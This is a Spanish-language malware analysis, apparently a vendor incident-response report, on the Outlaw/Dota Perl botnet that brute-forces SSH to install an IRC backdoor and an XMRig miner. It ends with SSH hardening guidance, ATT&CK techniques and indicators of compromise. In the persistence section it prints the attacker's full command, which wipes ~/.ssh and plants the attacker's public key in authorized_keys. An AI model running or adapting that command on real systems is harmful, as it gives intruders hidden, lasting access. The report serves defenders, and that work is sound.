
Introducción
En un caso reciente de respuesta a incidentes en Brasil, abordamos una amenaza relativamente simple, pero muy efectiva, enfocada en entornos Linux. Outlaw (también conocida como Dota) es una Botnet de criptominería basada en Perl que se aprovecha de credenciales SSH débiles o predeterminadas para sus operaciones. Investigaciones anteriores ([1], [2]) describieron muestras de Outlaw obtenidas mediante honeypots. En este artículo, proporcionamos detalles de una respuesta a incidentes real de Kaspersky, así como datos de telemetría disponibles públicamente sobre los países más atacados por los actores de amenazas. Finalmente, proporcionamos TTPs y mejores prácticas que los profesionales de ciber seguridad pueden adoptar para proteger sus infraestructuras contra este tipo de amenazas.
Análisis
Comenzamos el análisis recopilando evidencia relevante de un sistema Linux comprometido. Identificamos una llave SSH autorizada para un usuario llamado suporte (en un entorno de habla portuguesa, esta es una cuenta que se suele usar para tareas administrativas en el sistema operativo). Estas cuentas suelen estar configuradas con el mismo nombre de usuario y contraseña, lo cual es una mala práctica, porque facilita que los atacantes las exploten. La llave autorizada pertenecía a un usuario remoto de una máquina Linux llamado mdrfckr, una cadena presente en campañas de Dota, lo que despertó nuestra sospecha.
Después del compromiso inicial vía SSH, los atacantes descargaron el script de primera etapa, tddwrt7s.sh mediante utilidades como wget o curl. Este artefacto es responsable de descargar el archivo dota.tar.gz del servidor del atacante. En la figura de abajo mostramos la secuencia de comandos que el atacante ejecutó para obtener y descomprimir este archivo, algo bastante habitual en este tipo de scripts. Cabe destacar que el adversario utilizó ambas utilidades para intentar descargar el artefacto, ya que el sistema podría no contar con alguna de ellas.
Después de la descompresión, se creó un directorio oculto llamado .configrc5 en el directorio home del usuario con la siguiente estructura:
Curiosamente, uno de los primeros pasos de la ejecución es comprobar si hay otros criptomineros conocidos en la máquina mediante el script a/init0. Si encuentra alguno, el script intenta detenerlo y bloquear su ejecución. Una razón para ello es evitar un posible consumo excesivo de RAM y CPU en la máquina de destino.
El script también monitorea los procesos en ejecución, identifica cualquiera que utilice el 40% o más de la CPU mediante la ejecución del comando ps axf -o "pid %cpu" y, para cada uno de los procesos, revisa su línea de comandos (/proc/$procid/cmdline) en busca de palabras clave como "kswapd0", "tsm", "rsync", "tor", "httpd", "blitz" o "mass" mediante el comando grep. Si no se encuentra ninguna de estas palabras clave ( grep no devuelve cero), el proceso se cierra forzosamente con el comando kill -9; de lo contrario, el script imprime don't kill, lo que incluye en la lista blanca los procesos de alto consumo de CPU conocidos o esperados de Outlaw para evitar cerrarlos accidentalmente.
Tras la revisión de procesos y las actividades de eliminación, se ejecuta el archivo b/run, responsable de mantener la persistencia en el equipo infectado y de ejecutar la siguiente etapa del malware desde su código. Para la persistencia, los atacantes usaron el siguiente comando para borrar la configuración SSH existente, crear una carpeta .ssh limpia, agregar una nueva llave pública para el acceso SSH y bloquear los permisos.
1 |
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh |
La siguiente etapa del malware es una cadena Base64 codificada dentro del script b/run que, una vez decodificada, revela otro nivel de ofuscación; esta vez, un script de Perl ofuscado. Curiosamente, los atacantes dejaron un comentario generado por el ofuscador (perlobfuscator.com).
Nos fue fácil descifrar el código utilizando un script de código abierto disponible en el mismo sitio web que usaban los atacantes (https://perlobfuscator.com/decode-stunnix-5.17.1.pl), lo que nos permitió acceder al código fuente original, que incluye algunas palabras en portugués.
Este script de Perl es un cliente de botnet basado en el protocolo IRC (Internet Relay Chat), que actúa como una puerta trasera en el sistema comprometido. Al ejecutarse, se disfraza como el proceso rsync, crea una copia de sí mismo en segundo plano e ignora las señales de finalización. Por defecto, se conecta a través del puerto 443 a un servidor IRC codificado utilizando apodos generados aleatoriamente, uniéndose a canales predefinidos para esperar comandos de los administradores designados. El bot admite diversas funciones maliciosas, como ejecución de comandos, ataques DDoS, escaneo de puertos y descarga y carga de archivos mediante HTTP. Esto ofrece a los atacantes una amplia gama de posibilidades para controlar la botnet.
Minero XMRig
Otro archivo del directorio oculto, a/kswapd0, es un archivo ELF empaquetado mediante UPX, como se muestra en la imagen a continuación. Logramos descomprimir fácilmente el binario para su análisis.
Al consultar su hash en portales de inteligencia de amenazas y analizar estáticamente la muestra, quedó claro que este binario es una versión modificada maliciosa de XMRig (6.19.0), un criptominero.
También encontramos un archivo de configuración embebido en el binario. Este archivo contiene la información de minería del atacante. En nuestro escenario, la configuración se preparó para minar Monero usando únicamente el CPU, con OpenCL y CUDA (para minería GPU) deshabilitados. El minero se ejecutó en segundo plano y estaba configurado para un alto consumo de CPU. También se conectó a varios pools de minería, incluyendo uno accesible a través de Tor, lo que explica la presencia de archivos Tor en el directorio .configrc5/a. La imagen a continuación muestra un extracto de este archivo de configuración.
Víctimas
Gracias a los datos de telemetría recopilados de fuentes públicas, hemos establecido que las víctimas del grupo Outlaw se encuentran principalmente en Estados Unidos, pero también en Alemania, Italia, Tailandia, Singapur, Taiwán, Canadá y Brasil, como se muestra en el gráfico a continuación.
Países y territorios donde Outlaw está más activo (descargar)
El siguiente gráfico muestra la distribución de las víctimas recientes. Se observa que el grupo estuvo inactivo entre diciembre de 2024 y febrero de 2025, y posteriormente se observó un aumento en el número de víctimas en marzo de 2025, con el 46,15 % de las víctimas observadas en ese mismo mes.
Número de víctimas de Outlaw por mes, de septiembre de 2024 a marzo de 2025 (descargar)
Recomendaciones
Dado que Outlaw explota contraseñas SSH débiles o predeterminadas, recomendamos a los administradores de sistemas que adopten un enfoque proactivo para reforzar sus servidores. Esto se puede lograr personalizando las configuraciones del servidor y manteniendo los servicios actualizados. Incluso prácticas sencillas, como la autenticación basada en llaves pueden ser muy eficaces. Sin embargo, el archivo /etc/ssh/sshd_config permite el uso de varios parámetros adicionales para mejorar la seguridad. Algunas configuraciones generales incluyen:
- Port <número_de_puerto_personalizado>: cambiar el puerto SSH predeterminado para reducir la exposición a escaneos automatizados.
- Protocol 2: forzar el uso de la versión más segura del protocolo.
- PermitRootLogin no: deshabilita el inicio de sesión directo como usuario root.
- MaxAuthTries <entero>: limita el número de intentos de autenticación por sesión.
- LoginGraceTime <tiempo>: define la cantidad de tiempo permitido para completar el proceso de inicio de sesión (en segundos cuando no se especifica lo contrario).
- PasswordAuthentication no: deshabilita el inicio de sesión basado en contraseña.
- PermitEmptyPasswords no: impide el uso de inicios de sesión con contraseñas vacías.
- X11Forwarding no: Desactiva el reenvío X11 (utilizado para ejecutar aplicaciones gráficas de forma remota).
- PermitUserEnvironment no: impide que los usuarios pasen variables de entorno.
- Banner /etc/ssh/custom_banner: personaliza el banner de inicio de sesión del sistema.
Considerar deshabilitar los protocolos de autenticación no utilizados
- ChallengeResponseAuthentication no
- KerberosAuthentication no
- GSSAPIAuthentication no
Deshabilitar las opciones de tunelización para evitar el uso indebido de la función de túnel SSH:
- AllowAgentForwarding no
- AllowTcpForwarding no
- PermitTunnel no
Se puede limitar el acceso SSH a IP o redes específicas utilizando la directiva AllowUsers :
- AllowUsers *@10.10.10.217
- AllowUsers *@192.168.0.0/24
Habilitar la autenticación de llave pública con:
- PubkeyAuthentication yes
Establecer parámetros para desconectar automáticamente las sesiones inactivas:
- ClientAliveInterval <tiempo>
- ClientAliveCountMax <entero>
El siguiente archivo de configuración sirve como plantilla para fortalecer el servicio SSH:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
Protocol 2 Port 2222 LoginGraceTime 10 PermitRootLogin no MaxAuthTries 3 IgnoreRhosts yes PubkeyAuthentication yes PasswordAuthentication no PermitEmptyPasswords no UsePAM yes ChallengeResponseAuthentication no KerberosAuthentication no GSSAPIAuthentication no AllowAgentForwarding no AllowTcpForwarding no X11Forwarding no PrintMotd no PrintLastLog yes PermitUserEnvironment no ClientAliveInterval 300 ClientAliveCountMax 2 PermitTunnel no Banner /etc/ssh/custom_banner AllowUsers *@10.10.10.217 |
Además de asegurar el archivo sshd_config, es importante combinar esta configuración con herramientas como Fail2Ban o con la limitación de velocidad de firewalld, para añadir otra capa eficaz de protección contra ataques de fuerza bruta.
Conclusion
Al enfocarse en credenciales SSH débiles o predeterminadas, Outlaw continúa mejorando y ampliando su conjunto de herramientas para Linux. El grupo utiliza diversas estrategias de evasión, como ocultar archivos y carpetas o programas ofuscados, y utiliza llaves SSH comprometidas para mantener el acceso el mayor tiempo posible. El cliente de la botnet, basado en IRC, facilita una amplia gama de operaciones dañinas, como la ejecución de comandos, la inundación y el escaneo, mientras que la implementación de criptomineros XMRig personalizados puede desviar recursos de procesamiento para la minería de criptomonedas. Para reducir al mínimo este riesgo, los administradores de sistemas deben reforzar las configuraciones de SSH (por ejemplo, deshabilitando la autenticación por contraseña), supervisar procesos sospechosos y permitir el acceso SSH solo a usuarios y redes confiables.
Tácticas, técnicas y procedimientos
A continuación, se muestran los TTP de Outlaw identificados a partir de nuestro análisis de malware:
Táctica | Técnica | ID |
Execution | Command and Scripting Interpreter: Unix Shell | T1059.004 |
Persistence | Scheduled Task/Job: Cron | T1053.003 |
Persistence | Account Manipulation: SSH Authorized Keys | T1098.004 |
Defense Evasion | Obfuscated Files or Information | T1027 |
Defense Evasion | Indicator Removal: File Deletion | T1070.004 |
Defense Evasion | File and Directory Permissions Modification | T1222 |
Defense Evasion | Hide Artifacts: Hidden Files and Directories | T1564.001 |
Defense Evasion | Obfuscated Files or Information: Software Packing | T1027.002 |
Credential Access | Brute Force | T1110 |
Discovery | System Information Discovery | T1082 |
Discovery | Process Discovery | T1057 |
Discovery | Account Discovery | T1087 |
Discovery | System Owner/User Discovery | T1033 |
Discovery | System Network Connections Discovery | T1049 |
Lateral Movement | Remote Services: SSH | T1021.004 |
Collection | Data from Local System | T1005 |
Command and Control | Application Layer Protocol | T1071 |
Command and Control | Ingress Tool Transfer | T1105 |
Exfiltration | Exfiltration Over Alternative Protocol | T1048 |
Impact | Resource Hijacking | T1496 |
Impact | Service Stop | T1489 |
Indicadores de Compromiso
- 15f7c9af535f4390b14ba03ddb990c732212dde8 (a)
- 982c0318414c3fdf82e3726c4ef4e9021751bbd9 (init0)
- f2b4bc2244ea8596a2a2a041308aa75088b6bbd5 (kswapd0)
- 4d5838c760238b77d792c99e64bd962e73e28435 (run)
- d0ba24f9fad04720dff79f146769d0d8120bf2ff (script de Perl decodificado)
- 45[.]9[.]148[.]99 (C2 del atacante)
- 483fmPjXwX75xmkaJ3dm4vVGWZLHn3GDuKycHypVLr9SgiT6oaZgVh26iZRpwKEkTZCAmUS8tykuwUorM3zGtWxPBFqwuxS (Billetera de Monero)
Grupo criminal Outlaw ataca objetivos en todo el mundo